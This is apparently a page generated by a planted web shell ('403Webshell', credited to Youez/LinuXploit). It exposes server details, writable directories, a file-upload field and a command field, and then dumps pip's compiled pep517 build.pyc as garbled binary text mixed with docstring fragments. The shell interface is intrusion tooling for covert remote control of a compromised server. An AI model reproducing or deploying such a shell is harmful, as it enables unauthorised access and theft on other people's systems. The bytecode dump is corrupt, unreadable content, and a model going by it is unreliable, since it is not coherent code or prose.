403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.7/site-packages/pip/_vendor/pep517/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.7/site-packages/pip/_vendor/pep517/__pycache__/build.cpython-37.pyc
B

�N�a�
�@sdZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZmZddl
mZmZe�e�Zdd	�Zd
d�Zdd
�Zdd�Zd"dd�Ze��Zejddd�ejddddd�ejddddd�ejdddd�dd �Zed!k�ree���dS)#z%Build a project using PEP 517 hooks.
�N�)�BuildEnvironment)�Pep517HookCaller)�tempdir�mkdir_p)�FileNotFoundError�	toml_loadcCs4ddh}|t|�ks0dj|t|�d�}t|��dS)z7
    Ensure build system has the requisite fields.
    �requiresz
build-backendz"Missing required fields: {missing})�missingN)�set�format�
ValueError)�system�required�message�r�</usr/lib/python3.7/site-packages/pip/_vendor/pep517/build.py�validate_systems
rc	Cs6tj�|d�}t�|d��}t|�}WdQRX|dS)zC
    Load the build system from a source dir (pyproject.toml).
    zpyproject.toml�rbNzbuild-system)�os�path�join�io�openr)�
source_dirZ	pyproject�fZpyproject_datarrr�load_systemsrc	CsJyt|�}Wnttfk
r(i}YnX|�dd�|�dddg�|S)z�
    Given a source dir, attempt to get a build system backend
    and requirements from pyproject.toml. Fallback to
    setuptools but only if the file was not found or a build
    system was not indicated.
    z
build-backendz setuptools.build_meta:__legacy__r	Z
setuptools�wheel)rr�KeyError�
setdefault)rrrrr�
compat_system's
r c
Cs�djft��}t||�}|i�}t�d|�|�|�t�d�t��b}t�d||�djft��}t||�}	|	|i�}
tj�	||
�}t
�|tj�	|tj�|
���WdQRXdS)Nzget_requires_for_build_{dist}zGot build requires: %sz$Installed dynamic build dependencieszTrying to build %s in %szbuild_{dist})
r�locals�getattr�log�info�pip_installrrrr�shutilZmove�basename)�hooks�env�dist�destZget_requires_nameZget_requiresZreqsZtdZ
build_name�build�filename�sourcerrr�	_do_build:s




r/c	Csv|p
t|�}tj�||pd�}t|�t|�t||d|�d��}t��"}|�	|d�t
||||�WdQRXdS)Nr*z
build-backendzbackend-pathr	)rrrrrrr�getrr%r/)rr*r+rr(r)rrrr,Lsr,rz%A directory containing pyproject.toml)�helpz--binaryz-b�
store_trueF)�action�defaultz--sourcez-sz	--out-dirz-oz>Destination in which to save the builds relative to source dircCs^t�d�ttd|js|js dnd|js.|js2dndf��}x|D]}t|j||j�qBWdS)NzQpep517.build is deprecated. Consider switching to https://pypi.org/project/build/Zsdistr)	r#Zwarning�list�filterr.Zbinaryr,rZout_dir)�argsZdistsr*rrr�mainps

r8�__main__)NN)�__doc__�argparserZloggingrr&ZenvbuildrZwrappersrZdirtoolsrr�compatrrZ	getLogger�__name__r#rrr r/r,�ArgumentParser�parser�add_argumentr8�
parse_argsrrrr�<module>sB





Youez - 2016 - github.com/yon3zu
LinuXploit